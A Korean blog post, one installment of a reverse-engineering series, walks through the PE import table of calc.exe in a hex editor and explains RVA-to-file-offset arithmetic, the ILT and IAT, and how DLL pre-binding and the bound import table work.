임포트 테이블(임포트 디렉토리)의 주소(RVA)는 0012B80이고 사이즈는 8c입니다. 여섯번째 이야기에서 알아보았듯이 Raw Offset 값은 StudPE가 계산해 준 것이구요, 실제로 데이터 디렉토리에는 존재하지 않는 데이터이죠. 실제 계산 방법은 여섯번째 이야기를 참고하세요. 어쨌든 파일 상에서는 Raw Offset 11F80에서 임포트 테이블을 찾을 수 있겠습니다. WinHex를 이용하여 11F80으로 이동하여 보겠습니다.

사용자 삽입 이미지

그림 2. WinHex를 이용하여 살펴본 calc.exe의 임포트 테이블


[그림 2]에서와 같이 두번째 필드인 TimeDateStamp와 세번째 필드인 ForwarderChain은 바인딩 전에는 -1 값을 가집니다. 세번째 필드는 Name은 임포트할 DLL의 이름을 가르키는 포인터(RVA)입니다. 파일 상태에서 읽을 필요가 없으므로 RVA값만 기록되어 있습니다. 기억하시죠? PE 파일에서 어떠한 데이터 구조를 가르킬 때 RawOffset 값이 없다면 로더 입장에서 해당 데이터 구조는 파일 상태에서는 따로 접근하지 않는다는 이야기입니다. 메모리에 로드된 후에나 사용한다는 것이죠. 어쨌든 그래도 파일 상에서 Name을 확인해보도록 하겠습니다. 여섯번째 이야기에서 살펴본 것처럼 데이터 디렉토리내의 데이터구조를 파일 상에서 찾으려면 RVA값과 RawOffset이 동시에 기록되어 있는 섹션 테이블을 참조해야 합니다. StudPE를 이용하여 섹션 테이블을 살펴보면 Name은 .text 섹션에 포함되어 있음을 알 수 있습니다. (RVA값이 00012E42이므로 .text 섹션 범위안에 존재합니다. 아래 그림 참고)
사용자 삽입 이미지
 


 





그림 3. StudPE를 통해 살펴본 calc.exe의 섹션 테이블


.text 섹션의 RVA 값은 00001000이고 RawOffset은 400 이네요. Name필드의 RVA값은 00012E42 이므로 RawOffset은  0x400+(00012E42 -  00001000 ) = 0x12242가 됩니다. WinHex를 이용해서 확인해 볼까요?

사용자 삽입 이미지

그림 4. WinHex를 이용하여 살펴본 calc.exe의 임포트 디렉토리

이로써 임포트 디렉토리의 첫번째 엔트리는 shell32.dll에 관한 것임을 알 수 있습니다. 그럼 ILT와 IAT를 살펴보도록 하겠습니다. 첫번째 필드인 OriginalFirstChunk로 ILT를 가르키는 RVA 값이며 마지막 필드인 FirstChunk로 IAT를 가르키는 RVA 값이라는 것을 잘 아는 사실일 것입니다. ILT와 IAT 역시 파일 상태에서는 읽을 필요가 없는 데이터들이라 RVA값만 기록되어 있습니다. 휴~ 또 산수시간입니다. ^^; ILT의 위치는 00012CA8 이므로 역시 .text 섹션에 존재함을 알 수 있습니다. 그렇다면 ILT의 파일 상에서의 위치 즉 RawOffset은 0x400 + (12CA8 - 1000) =  0x120A8이군요. WinHex를 이용해서 해당 위치로 이동해 보겠습니다.

사용자 삽입 이미지

그림 5. calc.exe의 shell32.dll관련 ILT

 ILT나 IAT는 모두 IMAGE_THUNK_DATA의 배열이라고 했습니다. IMAGE_THUNK_DATA는 4가지 정도의 의미를 가지고 있는데 ILT의 경우 대부분 IMAGE_IMPORT_BY_NAME을 가르키는 RVA값이라는 것도 이미 알아봤구요. 살펴보니 ILT의 첫번째 엔트리는 00012E34 값을 가지고 있네요. 헉헉...
ㅠ.ㅠ;; 또 산수가 필요합니다. 0012E34는 .text 섹션에 위치하므로 파일 상에서의 위치는 0x400 + ( 0012E34 - 1000 ) = 0x12234 입니다. 다시 WinHex를 이용해서 해당 위치를 살펴보도록 하겠습니다.
사용자 삽입 이미지

그림 6.

위 그림에서 볼 수 있듯이 IMAGE_IMPORT_BY_NAME은 1바이트 사이즈 ordinal값과 이름으로 구성되어 있습니다. 위 그림을 보니 SHELL32.DLL에서 임포트한 첫번째 함수는 ShellAboutW로 오디널 값이 0x94임을 알 수 있습니다.

자, 이제 IAT를 살펴볼까요? 다시 [그림 2]로 돌아가서 살펴보니 IAT의 RVA는 109C이군요. 역시 .text 섹션에 위치합니다. IAT는 RawOffset은 0x400 + (109c - 1000) = 0x49c 입니다. WinHex를 이용하여 해당 위치를 살펴보면 아래와 같습니다.
사용자 삽입 이미지
그림 7. calc.exe의 shell32.dll관련 IAT

위 그림에서 볼 수 있듯이 파일 상에서 즉 바인딩 되기 전의 IAT는 ILT와 마찬가지로 보통 IMAGE_IMPORT_BY_NAME 타입의 데이터를 가르킵니다. 물론 동일한 정보를 가르키고 있어야 합니다. 따라서 7744E3DB에 가면 ... 그런데 허걱.. 뭔가 주소가 이상하네요? 7744E3DB라면 왠지 윈도우의 주요 DLL들이 사용하는 주소 중 하나인것 같은데요.. 이럴수가.. 제가 지금까지 거짓말을 한건가요? ㅠ.ㅠ;;  뭐 그런것은 아니구요... ^^ 이건 pre binding(보통 줄여서 binding 또는 bound라고 부릅니다.)이라는 기능때문에 그렇습니다. 

Pre-Binding
 여러개의 DLL을 로딩하는 경우 로딩 타임에 IAT를 완성하는 것은 비교적 오랜 시간이 소요되는 작업이 될 것입니다. 그만큼 프로그램 실행에 많은 지연이 발생하겠죠. 그렇다면, 만약 로딩 타임에 IAT를 완성하지 않고 링킹 타임에 IAT를 미리 완성해 둘 수 있다면 어떻게 될까요? 다시 말해 오브젝트 파일을 링킹하는 단계에서 IAT에 실제 임포트하는 함수의 주소를 채워 넣을 수 있다면? 당연히 성능 향상에 많은 도움이 될 것입니다. 이러한 기능을 pre-binding이라고 합니다. 앞에서 살펴본 calc.exe의 경우 pre-binding이 적용되어 있는 것입니다. 이처럼 pre-binding되어 있는 상태를 일컫을 때 간단히 DLL이 바운드 되었다고 표현합니다. 그렇다면 로더의 입장에서 DLL이 바운드되었는지는 어떻게 알 수 있을까요? 여기에 대한 해답은 bound import table (BIT)에서 찾을 수 있습니다. BIT의 주소는 데이터 디렉토리의 12번째 엔트리인 IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT에서 찾을 수 있습니다. 아래의 그림을 봐주세요.

사용자 삽입 이미지
그림 8. StudPE를 이용하여 살펴본 calc.exe의 BIT 관련 정보

StudPE를 이용하여 BIT의 위치를 확인해 보았습니다. RVA값이 0x260이고 사이즈가 0x80임을 알 수 있습니다. RawOffset은 우리의 똑똑하신 StudPE가 계산을 못하고 있습니다. ㅠ.ㅠ;; Stupid라고 불러야 할지...  앞의 [그림 3]을 살펴보면 BIT는 섹션에 위치하고 있지 않음을 알 수 있습니다. (RVA값 0x260은 어느 섹션에도 속하지 않습니다.) 이러한 경우 RVA값이나 RawOffset 값은 동일한 값이 됩니다. 따라서 WinHex를 이용하여 파일내 offset 0x260으로 이동해 보면 BIT를 찾을 수 있을 것입니다.  아래의 그림을 봐주세요.

사용자 삽입 이미지
그림 9. calc.exe의 BIT

BIT의 첫번째 4bytes는 TimeDateStamp 값입니다. 이 값은 매우 중요한데 이에 대해서는 뒤에서 다시 이야기 하도록 하겠습니다. 다음 2bytes는 OffsetModuleName이라는 필드로 BIT의 각 엔트리 시작점에서 모듈의 이름까지의 Offset을 의미합니다. 이로서 우리는 SHELL32.DLL이 이미 바운드 되었음을 알 수 있습니다. 다음 2bytes는 NumberOfModuleForwarderRefs라는 값인데. 이 값은 본 연재에서 다룰 만한 내용이 아니라서 스킵합니다. ^^v

자 이제 로더는 SHELL32.DLL이 이미 바운드 되었음을 알 수 있으므로 SHELL32.DLL과 관련된 IAT를 채우려고 하지 않을 것입니다. [그림 4]에서 [그림 7]까지 나타난 정보를 살펴보면 shell32.dll의 ShellAboutW의 주소는 7744E3DB임을 알 수 있습니다. 이제 이 주소만 확인해 보면 되겠습니다. 아래의 그림을 봐주세요.

사용자 삽입 이미지
그림 10. API Address Finder를 이용하여 살펴본 ShellAboutW의 주소.

허걱.. 이런 IAT 기록된 주소와 일치하지 않습니다. ^^; 또 하나 더 배울게 생겼습니다. 지금의 상황처럼 DLL이 바운딩된 경우 링크 타임에 IAT에 기록된 API의 주소와 실제 주소가 다른 경우가 발생할 수 있습니다. DLL이 업데이트 된 경우이겠죠. 이러한 경우 IAT의 정보가 변경되지 않는다면 당연히 프로그램은 크래쉬됩니다. 따라서 로더는 DLL이 변경되었음을 감지하고 IAT 테이블을 업데이트 할 수 있어야 합니다. 그렇다면 로더는 DLL이 변경되었음을 어떻게 알 수 있을까요? 다시 [그림 9]를 봐주세요. BIT내 엔트리의 처음 4bytes 값은 TimeDateStamp입니다. 로더는 이 값을 DLL의 PE 헤더에 기록된 TimeDateStamp 값과 비교하여 DLL이 변경되었음을 감지할 수 있습니다. 그럼 shell32.dll의 TimeDateStamp값을 확인해 보겠습니다.

사용자 삽입 이미지

그림 11. Shell32.DLL의 TimeDateStamp

[그림 11]에서 볼 수 있는 것처럼 shell32.dll의 TimeDateStamp값은 [그림 9]에서 확인한 calc.exe의 BIT에 기록된 TimeDateStamp 값보다 큽니다. 로더는 이 정보를 확인하여 shell32.dll이 변경되었음을 알 수 있고 따라서 IAT를 리빌딩하게 됩니다.  이제 마지막으로 calc.exe가 로드된 후 IAT를 살펴보도록 하겠습니다. [그림 2]에 나타난 것처럼 IAT의 RVA가 109c이므로 OllyDbg에서 calc.exe를 실행시킨 후 데이터 덤프 윈도우에서 해당 주소로 이동하면 쉽게 확인할 수 있을 것입니다.


사용자 삽입 이미지
그림 12. 로드된 후 calc.exe의 IAT 모습

지금까지 pre-binding에 대해서 알아보았습니다. 이 정도면 임포트에 관해서 기본적으로 알아야 할 것은 어느 정도 공부한 것 같습니다. 물론 지연 로딩이나 API 포워딩 같은 것들을 좀 더 공부해야 하겠지만 본 연재에서는 다루지 않을 생각이구요... 이 글을 읽는 여러분의 숙제로 남겨 두겠습니다.

다음 이야기는 섹션 테이블에 관한 이야기입니다. 수작업으로 만드는 PE를 좀 더 빨리 완성하기 위해 익스포트 테이블 전에 섹션 테이블을 먼저 알아보도록 할 것입니다. 익스포트 테이블은 우리가 만든 PE 파일이 잘 실행되는 것을 보고 즐기면서 천천히 알아보도록 하겠습니다. ^^ 그럼 오늘도 즐핵하세요.
Posted by zesrever

BLOG main image
Slow but Steady, Broad and Deep ... by zesrever

공지사항

카테고리

분류 전체보기 (44)
Digital Forensics (4)
Reverse Engineering (21)
Vulnerability (2)
Secure Coding (0)
Book Story (1)
Digital Life (7)
My Life (7)
세미나자료 (1)
개인용 (0)
Musics (0)
Total : 262,129
Today : 20 Yesterday : 21